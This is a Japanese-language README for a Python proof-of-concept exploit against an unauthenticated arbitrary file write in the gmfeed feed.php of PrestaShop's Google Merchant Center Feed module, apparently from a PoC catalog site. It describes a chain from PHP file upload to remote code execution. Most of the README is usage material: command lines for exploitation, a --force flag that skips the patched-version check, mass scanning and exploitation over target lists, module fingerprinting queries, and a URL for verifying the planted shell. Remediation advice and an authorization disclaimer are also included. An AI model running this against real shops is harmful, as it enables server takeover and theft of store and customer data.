
CVE-2026-85520 の Python PoC:PrestaShop の gmfeed feed.php における未認証の任意ファイル書き込みを検出・悪用して RCE を達成し、一括スキャンにも対応。
CVE-2026-85520 の Python 3 PoC — PrestaShop 用の MyPresta.eu / VEKIA Google Merchant Center Feed モジュール(gmfeed) — 「Save to file」 / URL エクスポート使用時の feed.php における未認証の任意ファイル書き込み。CVSS 3.1 9.3 Critical(ソフトウェア)。
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| カタログ | https://pocbit.org/pocs/ |
| モジュール | gmfeed(Google Merchant Center Feed) |
| ベンダー修正 | ≥ 2.3.10(2.4.1+ のインストールを推奨) |
| CWE | CWE-20 / CWE-73 / CWE-434 クラスの問題(認証の欠如 + 書き込み時のパス/コンテンツ制御) |
gmfeed は、PrestaShop ストアで Google Merchant Center 向けの XML/CSV 商品カタログを生成する商用モジュールです。旧バージョンでは、カタログを URL で生成してディスクに保存する場合(Save to file / cron)、modules/gmfeed/feed.php エンドポイントが 認証なしで任意のパラメータを受け付け、出力ファイル名、パス、拡張子、および内容を指定できました。
攻撃者は細工した GET/POST によりサーバー上に任意のファイルを書き込み(例: pocbit_xxxxx.php)、その後 Web 経由で実行して**リモートコード実行(RCE)**を達成します。これは EC サーバーの完全な掌握を意味します — 許可されたペンテスト / 自身のラボショップ環境でのみテストしてください。
ベンダー(MyPresta.eu)の告知によると、2.3.10 より前のバージョンが影響を受けます。修正は save-to-file URL にストア固有のキーを追加し、不正な書き込みを無効化します。古い zip を上書きするだけでは不十分です — モジュールを **「delete module files」**で削除し、2.4.1 をクリーンインストールする必要があります。
CVE-2026-85520 は gmfeed PrestaShop モジュール(MyPresta.eu による Google Merchant Center Feed)に影響します。feed.php エクスポートスクリプトは、ディスクへの保存モードが URL 経由で到達可能な場合(exportsavefile=1 およびベンダーの変更履歴に記載された関連エクスポートパラメータ)、以下を強制できていませんでした:
modules/gmfeed/ 配下やトラバーサルシーケンスを経由した書き込みが可能。影響:未認証の任意ファイル書き込み → RCE(アップロードされた .php を HTTP 経由で実行)。
リリースノートで参照されている公開ベンダーパラメータには、2.3.x 系で追加された export_file_format、exportsavefile、およびカスタムのエクスポートファイル名オプションが含まれます。この PoC は一般的なパラメータの別名(exportfilename、exportfilecontent、export_path など)を以下に対してローテーションします:
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| モード | 動作 |
|---|---|
| check | gmfeed(feed.php、config.xml、マーカー)を検出し、モジュールバージョンを解析し、< 2.3.10 をフラグ付け |
| check --aggressive | 軽量な save-to-file プローブ(永続シェルなし、プローブパスで exportsavefile=0) |
| exploit | マーカー POCBIT-85520-OK 付きの pocbit_*.php プローブを書き込み、?pocbit=1 で検証 |
| exploit --dry-run | プローブリクエストのみをエクスポート(シェルの配置なし) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | ローカルモック feed.php — exploited: true を表示する必要あり(健全性チェック) |
--force | 「モジュール不在 / 修正済みバージョン」のガードをスキップ |
JSONL フィールド:pocbit、pocbit_catalog、pocbit_page、cve、vendor、module、product。
安全性: デフォルトのペイロードはマーカーのみの PHP スタブであり、完全な対話型シェルではありません。許可されたテスト後には書き込まれたファイルを削除してください。
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
期待される結果: 緑色の [LAB]、JSON "exploited": true、"shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php"。
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
手動でエクスプロイト後に検証する:
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
出力:
| ファイル | 内容 |
|---|---|
cve_2026_85520_results.jsonl | すべてのチェック行 |
cve_2026_85520_exploit.jsonl | すべてのエクスプロイト行 |
hits.txt | タブ区切り: URL、ステータス、バージョン |
exploited.txt | タブ区切り: URL、shell_url、バージョン |
モジュールの存在:
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
バージョン(公開されている場合):
/modules/gmfeed/config.xml
静的フィード成果物(単独では脆弱性の証明ではない):
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
注: MyPresta の 2026 年アドバイザリ以降、多くのショップが 2.3.10 以上 を運用しています — インターネット全体のリストでは patched_version または write_or_verify_failed が返されることを想定してください。
feed.php のコピーが削除されます)。modules/gmfeed/ 内に予期しない .php ファイルがないか監査します。{
"pocbit": "https://pocbit.org",
"pocbit_catalog": "https://pocbit.org/pocs/",
"pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
"cve": "CVE-2026-85520"
}
所有しているシステム、またはテストについて明示的な書面による許可を得ているシステムでのみ使用してください。無断アクセスは違法です。PoCbitは、防御的検証およびパッチ検証のための概念実証ツールを提供します。
CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520